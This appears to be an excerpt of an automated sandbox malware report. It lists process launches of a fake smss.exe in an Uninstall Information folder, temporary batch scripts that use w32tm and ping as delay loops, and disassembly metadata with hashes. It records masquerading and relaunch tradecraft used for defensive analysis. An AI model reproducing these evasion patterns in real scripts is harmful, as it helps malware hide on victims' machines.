                                                    Has exited:true

                                                    General

                                                    Target ID:37
                                                    Start time:10:33:12
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\w32tm.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                                    Imagebase:0x7ff765e20000
                                                    File size:108'032 bytes
                                                    MD5 hash:81A82132737224D324A3E8DA993E2FB5
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:38
                                                    Start time:10:33:17
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0xe40000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:41
                                                    Start time:10:33:21
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:42
                                                    Start time:10:33:21
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:43
                                                    Start time:10:33:21
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:44
                                                    Start time:10:33:22
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\w32tm.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                                    Imagebase:0x7ff765e20000
                                                    File size:108'032 bytes
                                                    MD5 hash:81A82132737224D324A3E8DA993E2FB5
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:45
                                                    Start time:10:33:27
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0x640000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:47
                                                    Start time:10:33:31
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:48
                                                    Start time:10:33:31
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:49
                                                    Start time:10:33:32
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:50
                                                    Start time:10:33:33
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff65c030000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:51
                                                    Start time:10:33:42
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0xb70000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:53
                                                    Start time:10:33:48
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat"
                                                    Imagebase:0x7ff7e4e30000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:54
                                                    Start time:10:33:48
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff7699e0000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:55
                                                    Start time:10:33:48
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\chcp.com
                                                    Wow64 process (32bit):false
                                                    Commandline:chcp 65001
                                                    Imagebase:0x7ff6c7c10000
                                                    File size:14'848 bytes
                                                    MD5 hash:33395C4732A49065EA72590B14B64F32
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:56
                                                    Start time:10:33:49
                                                    Start date:25/12/2024
                                                    Path:C:\Windows\System32\PING.EXE
                                                    Wow64 process (32bit):false
                                                    Commandline:ping -n 10 localhost
                                                    Imagebase:0x7ff65c030000
                                                    File size:22'528 bytes
                                                    MD5 hash:2F46799D79D22AC72C241EC0322B011D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:true

                                                    General

                                                    Target ID:57
                                                    Start time:10:33:58
                                                    Start date:25/12/2024
                                                    Path:C:\Program Files\Uninstall Information\smss.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Program Files\Uninstall Information\smss.exe"
                                                    Imagebase:0xfc0000
                                                    File size:3'697'152 bytes
                                                    MD5 hash:40BD8B1654D6E65214BD65EFDB0BEAB2
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Has exited:false

                                                    Disassembly

                                                    Reset < >

                                                      Executed Functions

                                                      Function 00007FFD9B890D4C Relevance: 1.5, Strings: 1, Instructions: 272COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 5X_H
                                                      • API String ID: 0-3241812158
                                                      • Opcode ID: d5e323862a11ba3403f6a0ab5e9b093b0fc3082035f07efbc0fc9698f3c20bc7
                                                      • Instruction ID: 42dc596b2443c98d298f1800d01e093592e22967c6196f6601ab723eb69c1782
                                                      • Opcode Fuzzy Hash: d5e323862a11ba3403f6a0ab5e9b093b0fc3082035f07efbc0fc9698f3c20bc7
                                                      • Instruction Fuzzy Hash: 2C912771A1DA8D8FEB59DB68887A7A97FE1FF5A310F4100BAD04AD72E6DB781401C740
                                                      Function 00007FFD9B890E43 Relevance: .2, Instructions: 172COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1720570297.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9b890000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e9fdd714435c3590f5d7e1e055106b84c8fe5341cef40ff8b2a04f2a2160dd86
                                                      • Instruction ID: ab53662093f166bcb8de54ba4b7af49a6c0fef74678dd78c91cd51b1c1c00a5f
                                                      • Opcode Fuzzy Hash: e9fdd714435c3590f5d7e1e055106b84c8fe5341cef40ff8b2a04f2a2160dd86
                                                      • Instruction Fuzzy Hash: 2451E372A6894D8EEB98DB5C887A7A97FE1FB8A310F80017ED04AD33D5CBB51411C700
                                                      Function 00007FFD9BC50E85 Relevance: 2.0, Strings: 1, Instructions: 729COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: d
                                                      • API String ID: 0-2564639436
                                                      • Opcode ID: a93899775a77eb9d5c28ce2c0c88b499aaaaf20aff3b7971b24dd44734223622
                                                      • Instruction ID: be20803be28353ccd2355d290526e1d14a7154ca6e6a14b9e54aeaf53c1157f4
                                                      • Opcode Fuzzy Hash: a93899775a77eb9d5c28ce2c0c88b499aaaaf20aff3b7971b24dd44734223622
                                                      • Instruction Fuzzy Hash: E7225230A1DA0A4FD758EFA8D8A597573E1EF95310B1402B9D08EC72A7DE68F843C781
                                                      Function 00007FFD9BC57BD8 Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: a893301bf4e09bbe16611e691973e56e949ae66e9f4679c877ec7df0ac0629bb
                                                      • Instruction ID: 3a2d693d524f634563cd38fcb358a3f5907348cd6ee56c6595e624e239e252fd
                                                      • Opcode Fuzzy Hash: a893301bf4e09bbe16611e691973e56e949ae66e9f4679c877ec7df0ac0629bb
                                                      • Instruction Fuzzy Hash: A8517D70E0E50E9FDB59DBE8C4615FDB7B1EF44300F1140BAD05AE7296DAB86A45CB40
                                                      Function 00007FFD9BFF5B88 Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 46e1fe7e0bb7fec4c3008bc81798543e167ad6f029cebec93e1164e140683eb2
                                                      • Instruction ID: e8456e7823157f5ce58829326dae067588fb40a12d3b409e4ddb6e7f211d2f51
                                                      • Opcode Fuzzy Hash: 46e1fe7e0bb7fec4c3008bc81798543e167ad6f029cebec93e1164e140683eb2
                                                      • Instruction Fuzzy Hash: 75518D71F0A55E8FDB59CFA8C4655BCBBB1FF44300F1141BAD01AE72A6DA3A6A01CB50
                                                      Function 00007FFD9BC5E6C8 Relevance: 1.4, Strings: 1, Instructions: 157COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 38e22d308715cb1cfb8d88955aedf48656119051971f226f906d6e68f4888a72
                                                      • Instruction ID: f006545dbe70a07b4ef13a7b2984964359683e5cf3127813a01f0a01c362bb79
                                                      • Opcode Fuzzy Hash: 38e22d308715cb1cfb8d88955aedf48656119051971f226f906d6e68f4888a72
                                                      • Instruction Fuzzy Hash: 5B515B31E0E50E8FDB59DBE8C4615BDB7B1EF44340F1141BAD05AE72A2DA792A06CB50
                                                      Function 00007FFD9BFF5DFF Relevance: .4, Instructions: 365COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7a4aa2e3791a669f90f54cadc124f3bc30954d607bdf75837c2642fddfc2d561
                                                      • Instruction ID: 63172103c957bf5a2490e2a0be899950fb18023756e38376dac0e5bf5ccd95d5
                                                      • Opcode Fuzzy Hash: 7a4aa2e3791a669f90f54cadc124f3bc30954d607bdf75837c2642fddfc2d561
                                                      • Instruction Fuzzy Hash: 96D18C3071995A9FEB59CF48C0E05B03BA1FF45310B5542BDC84B8B69BDA39E981CB80
                                                      Function 00007FFD9BC57E4F Relevance: .4, Instructions: 360COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 314c4b8fae7529612df2ed0d30ceed9ea96d731079a45ceea10a5e08f220ccd5
                                                      • Instruction ID: fa4e72e9fe77a3efffc9fdce4d1ee5d3b3423b2ae814034e40b08bf03df0bc1a
                                                      • Opcode Fuzzy Hash: 314c4b8fae7529612df2ed0d30ceed9ea96d731079a45ceea10a5e08f220ccd5
                                                      • Instruction Fuzzy Hash: 48D1C03061D54A8FEB58CF98C4E05B93BA1FF45311B5546BDC84B8B69ACB78F981CB80
                                                      Function 00007FFD9BFF5E1F Relevance: .3, Instructions: 336COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fa44fe11b541f531ebfe08b3c9224c58ccacc2a475dd2222840b00d36628a7e6
                                                      • Instruction ID: 7b63c82cdd90758b757e6931967bc153e4b91a8db52b8a565b1c2fd19de83118
                                                      • Opcode Fuzzy Hash: fa44fe11b541f531ebfe08b3c9224c58ccacc2a475dd2222840b00d36628a7e6
                                                      • Instruction Fuzzy Hash: 0CC1A13071A95A9FEB19CF48C0E05B13BA1FF45301B5546BDC84B8B69BDB39E941CB80
                                                      Function 00007FFD9BC57E6F Relevance: .3, Instructions: 331COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 02290857603dc8053b20c80c234e0999bb76af08619578141712ac45aa09bd60
                                                      • Instruction ID: 2e2dc78d7e75ab71466accc951657e2e6d9732ed9920a88679e3d7d08fc8885e
                                                      • Opcode Fuzzy Hash: 02290857603dc8053b20c80c234e0999bb76af08619578141712ac45aa09bd60
                                                      • Instruction Fuzzy Hash: 79C1B03061E54A8FEB19CFA4C4E05B93BA1FF45301B5545BDC84B8B69ACA78F981CB81
                                                      Function 00007FFD9BFF56B2 Relevance: .3, Instructions: 327COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 110a590cb875f9c9d6d77045dde1b7efb356fe38eea472b2aa8fbab53bed70e1
                                                      • Instruction ID: e2133c0e7aa9acd65f01f5c61c83ed24478919da65b996280e15c3fc357ae184
                                                      • Opcode Fuzzy Hash: 110a590cb875f9c9d6d77045dde1b7efb356fe38eea472b2aa8fbab53bed70e1
                                                      • Instruction Fuzzy Hash: EDC11630B0994A8FE758DF68C0A06A4BBE1FF09310F5542B9C04EC7A96DB29F951C790
                                                      Function 00007FFD9BC5E1F2 Relevance: .3, Instructions: 326COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ecb1e64bef5568ad2cd079aaa25989ccdc9dbb421119633f8b7f738a5533c9b9
                                                      • Instruction ID: 1d6c545c499db1e6327123389a9e6b4f907d943612cfc37e95deb03b3e03c317
                                                      • Opcode Fuzzy Hash: ecb1e64bef5568ad2cd079aaa25989ccdc9dbb421119633f8b7f738a5533c9b9
                                                      • Instruction Fuzzy Hash: 37C1E330B1DA4B8FE759DBE8C0A06A8B7A1FF58300F5541B9D04EC7A96DB68B951C780
                                                      Function 00007FFD9BC57702 Relevance: .3, Instructions: 325COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2d8116857bde5226947c66f13ff058f83f6040a7cf18dc6e666b282a3d7cb3f4
                                                      • Instruction ID: dd3453f5b99f5be154247fc9b6dc39557a0a5004dcd2a8ef6e78460761be01b6
                                                      • Opcode Fuzzy Hash: 2d8116857bde5226947c66f13ff058f83f6040a7cf18dc6e666b282a3d7cb3f4
                                                      • Instruction Fuzzy Hash: 76C10930B0EA4A4FD759DBB4C0A06B8BBA1FF45310F5541BAC04EC7A97DB68B991C790
                                                      Function 00007FFD9BFF3077 Relevance: .3, Instructions: 309COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6001ae8d1e251c4e9db090a217ec3b489f5221ff2b5dc40fc6f5f09231892086
                                                      • Instruction ID: 2cc2abecab4814dce3c594dae24c815efc13494cc43292f11a2cef23bd436668
                                                      • Opcode Fuzzy Hash: 6001ae8d1e251c4e9db090a217ec3b489f5221ff2b5dc40fc6f5f09231892086
                                                      • Instruction Fuzzy Hash: 6421F202F0F19F8AE2396DE868720F86E419F51220F1A037BD04E868E6DC4E3A4C53D7
                                                      Function 00007FFD9BC5BBFC Relevance: .3, Instructions: 305COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: a5631c7e8bae70aaae2267363b1132b1228acdd82aa33aa79c9d48829925ca6d
                                                      • Instruction ID: 15c43b10b8adbd99a2862142a8bf1376260aff41de0b51b00216f84f36fb9128
                                                      • Opcode Fuzzy Hash: a5631c7e8bae70aaae2267363b1132b1228acdd82aa33aa79c9d48829925ca6d
                                                      • Instruction Fuzzy Hash: 6721C106B4F69F8AF7355EF928320BCBE409F55620F1E0576D68D461F29CCC3A855382
                                                      Function 00007FFD9BFFC157 Relevance: .3, Instructions: 302COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 1dc4e3354fba195230377767d8ce2203ffc5b8808de5b7d895f7e52a683ae495
                                                      • Instruction ID: f9c2c3c7a9c585f20a2c4b25bf7f1118aa0f6091bc2ac1e0c96e5a2ed26f80b9
                                                      • Opcode Fuzzy Hash: 1dc4e3354fba195230377767d8ce2203ffc5b8808de5b7d895f7e52a683ae495
                                                      • Instruction Fuzzy Hash: 1D21D652F0E17F8AF238AAE428714BC2E409F153A0F1A07B7D54D860F7EC4E3A615792
                                                      Function 00007FFD9BFF3B00 Relevance: .3, Instructions: 301COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 481d646ecc92da3dc86ff1f9913e97a45ad5f8d5b0b638f6cb7fe5bf911a3730
                                                      • Instruction ID: 3710c1457e7b5eb2fc6dbf6c532f2032a6fec5a5db08475b2f437a17194ce1d1
                                                      • Opcode Fuzzy Hash: 481d646ecc92da3dc86ff1f9913e97a45ad5f8d5b0b638f6cb7fe5bf911a3730
                                                      • Instruction Fuzzy Hash: 35918230B18A1D8FDB58DF58C8A5AB9B7E2FF55314B1142A9D04EC72A6DA35FC42CB40
                                                      Function 00007FFD9BC5EA55 Relevance: .3, Instructions: 289COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 0cc3a025bfff770b806bb36c87d4519a964bb5a02b7af6c99f37f93af8197571
                                                      • Instruction ID: fe4e049651914372533f3ae57abb1fb9cd04e0707ed190b6e7a120c2d903026d
                                                      • Opcode Fuzzy Hash: 0cc3a025bfff770b806bb36c87d4519a964bb5a02b7af6c99f37f93af8197571
                                                      • Instruction Fuzzy Hash: 17B1C27061D55A8FEB58CF68C0E05B43BA1FF44310B5552BDC89BCB69AD678F981CB80
                                                      Function 00007FFD9BFF4BE6 Relevance: .3, Instructions: 269COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1728664259.00007FFD9BFF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bff0000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ad0e2a7352494ca67c13613ee15d6a91406dec9a6286583f097faea383b39aac
                                                      • Instruction ID: 49eb61cfc5fc7a28c45a9cc8b996dbd9a7ca4a8c1eba9cbb00c44f8e16f0fb42
                                                      • Opcode Fuzzy Hash: ad0e2a7352494ca67c13613ee15d6a91406dec9a6286583f097faea383b39aac
                                                      • Instruction Fuzzy Hash: 36813B31B0EA4A4FF3785F9994611B97FE1EF85351B16067ED08FC31A2DE2ABA024741
                                                      Function 00007FFD9BC5D736 Relevance: .3, Instructions: 263COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f796e3ecf5b37b39cef096737659d33fe2a5e3ef46e579587c539c69dbd2a439
                                                      • Instruction ID: 1e0c092ff8101d275628c291d6da22d479fe9ad8162b6d35d3cc101ad5f36138
                                                      • Opcode Fuzzy Hash: f796e3ecf5b37b39cef096737659d33fe2a5e3ef46e579587c539c69dbd2a439
                                                      • Instruction Fuzzy Hash: FC814531B2EB0A4FE3385EF894219BD77E0EF45354B16057ED09EC31A2DE68BA428751
                                                      Function 00007FFD9BC5509F Relevance: .3, Instructions: 262COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000000.00000002.1724287318.00007FFD9BC50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC50000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_0_2_7ffd9bc50000_cbCjTbodwa.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 30a5736bc517893144c7bc51d084be5d43f36289a3aa1bdb8dca9da95cd3e6eb
                                                      • Instruction ID: 6d014b1905d9eef00b0abf0dc9fe8512a8b58afd5254d23afbf4ebfb2a7be86b
                                                      • Opcode Fuzzy Hash: 30a5736bc517893144c7bc51d084be5d43f36289a3aa1bdb8dca9da95cd3e6eb
                                                      • Instruction Fuzzy Hash: 96017B21B49A584FDB29977C8C109F47BD0EF0921570D49BDCC88CB1A3E698A48C87A1
                                                      Function 00007FFD9BC56C46 Relevance: .2, Instructions: 247COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
